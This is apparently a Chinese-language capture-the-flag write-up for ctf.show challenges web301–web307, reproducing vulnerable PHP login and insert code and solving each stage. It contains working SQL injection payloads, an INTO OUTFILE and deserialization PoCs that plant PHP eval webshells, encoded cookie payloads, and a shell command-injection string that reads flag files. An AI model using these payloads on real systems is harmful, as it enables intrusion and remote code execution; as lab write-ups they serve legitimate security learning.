题目地址:https://ctf.show/challenges
菜鸡在慢慢琢磨,现在只能说是拿得到flag,原理不太懂,有错误希望各位大佬斧正!!!

web301

下载附件源码,看到check.php里面的sql语句没有过滤,那就从这入手,

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    $_SESSION['error']="1";
    header("location:login.php");
    return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    $_SESSION['login']=1;
    $result->free();
    $mysqli->close();
    header("location:index.php");
    return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

所以直接注入就可以了。用sqlmap跑了下得到用户名密码,登陆进去就有flag

python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump

web302

hint:修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
用的是$row['sds_password']),也就是他已经执行完了sql语句,所以我们不用管他判断后会怎样。直接在checklogin.php写shell就行了

userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b

写入shell,用蚁剑连接找到flag.php即可拿到flag

web303

下载代码,可以找到在dptadd.php中存在注入点

<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
    //注入点
    $_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
    $_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
    $_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
    $_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
    $_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
    $_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
    
    $dpt_name=$_POST['dpt_name'];
    $dpt_address=$_POST['dpt_address'];
    $dpt_build_year=$_POST['dpt_build_year'];
    $dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
    $dpt_cert_number=$_POST['dpt_cert_number'];
    $dpt_telephone_number=$_POST['dpt_telephone_number'];
    $mysqli->query("set names utf-8");
    $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
    $result=$mysqli->query($sql);
    echo $sql;
    if($result===true){
        $mysqli->close();
        header("location:dpt.php");
    }else{
        die(mysqli_error($mysqli));
    }
    
     }


?>

有个insert而且没有任何过滤。插入的数据会在dpt.php中查询出来,但是有个前提,必须得先登陆成功
有几个地方需要注意,用户名有长度限制,而且查询语句没有用到userpwd,
查询成功后会进行比较。
登录的话,先试试吧,试不出来再想想办法,admin admin,题目没啥提示,应该也不会弄那么难,耶嘿,还真就成功了
那登录成功了就开始在dptadd.php中进行注入吧:
查表名

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

查列名

dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23

查数据

dpt_name=1',sds_address =(select flag from sds_fl9g)%23

flag到手!

web304

hint:增加了全局waf

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

找不到waf,那就改一下表名呗
payload基本同上,只要你改个表名就行了(嘿嘿自己多试两遍就明白了)

web305

多了个waf和class.php
先看下waf,基本上注入没有啥希望了。再看下class.php。有个写文件操作

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-17 13:20:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-17 13:33:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

在checklogin.php中存在反序列化的点。
所以传个cookie就可以了
poc:

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
echo serialize(new user('a.php','<?php eval($_POST[1]);?>'));

然后抓包传cookie,编码一下就可以了。

Cookie:user=O%3a4%3a"user"%3a2%3a{s%3a8%3a"username"%3bs%3a5%3a"b.php"%3bs%3a8%3a"password"%3bs%3a24%3a"<%3fphp+eval($_POST[1])%3b%3f>"%3b}

poc2:

<?php
class user{
    public $username;
    public $password;

}

$bit = new user();
$bit->username = "bit.php";
$bit->password = '<?php @eval($_POST["bit"]);?>';
echo(urlencode(serialize($bit)));

然后抓包传cookie,。

Cookie:user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22bit.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+%40eval%28%24_POST%5B%22bit%22%5D%29%3B%3F%3E%22%3B%7D

再用蚁剑连接,emmm这里我连接后找flag又找了好久...还是太菜了鸭
然后突然想起(其实又又又是Firebasky师傅的一句:是不是在数据库里面)点醒了我,
20201218112028809.png

image-20210210151745801.png

web306

hint:开始使用mvc结构
题目改了,一开始不用登陆,admin&admin1,简单审计源码,发现在class.php的log类存在file_put_contents危险函数,checklogin.php处会set cookie,login和index均存在unserialize,想法诞生—>构造pop链子触发写文件函数,全局搜索log没有发现,最后在dao.php有log同名函数close,简单链子出现 —- dao->log->file_put_contents,先登录,然后修改cookie
poc:

<?php

/**
 * @Author: bit
 * @Date:   2021-02-10
 * @Challenges:web306
 */

class dao{
    public $config;
    public $conn;
}

class log{
    public $title = "bit.php";
    public $info = '<?php @eval($_POST["bit"]);?>';
}

$bit = new dao;
$bit->conn = new log;
echo(urlencode(base64_encode(serialize($bit))));

传cookie值,写入马,蚁剑连接,找到flag

web307

开局先搜了下unserialize发现了四个。。。。。那我们先找可利用的函数,找到个shell_exec,然后找调用的地方。
dao.php里的clearCache()出现了shell_exec()危险函数,往上摸,找到pop链子

logout.php --> service.php --> dao.php->clearCache()

但是service还是通过调用dao在new config去调用clearCache()方法的,所以直接这样

logout.php --> config.php --> dao.php->clearCache()

poc:

<?php

/**
 * @Author: bit
 * @Date:   2021-02-10
 * @Challenges:web307
 */

class config{
    public $cache_dir = ';echo  `cat /var/www/html/f*` > flag.txt;';
}

class dao{
    public $config;
}

$bit = new dao;
$bit->config = new config;
echo(base64_encode(serialize($bit)));

访问URL/controller/flag.txt,路径无非/flag、/var/www/html/flag、./flag等一个一个试试,
解法二:
继续传马:
poc2:

<?php
class config{
    public $cache_dir = ';echo  "<?php eval(\$_POST[bit]);?>" >bit.php;';//linux的shell里面$有特殊意义所以转义一下。

}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
$bit=new dao();
echo base64_encode(serialize($bit));
?>

标签: none

暂无评论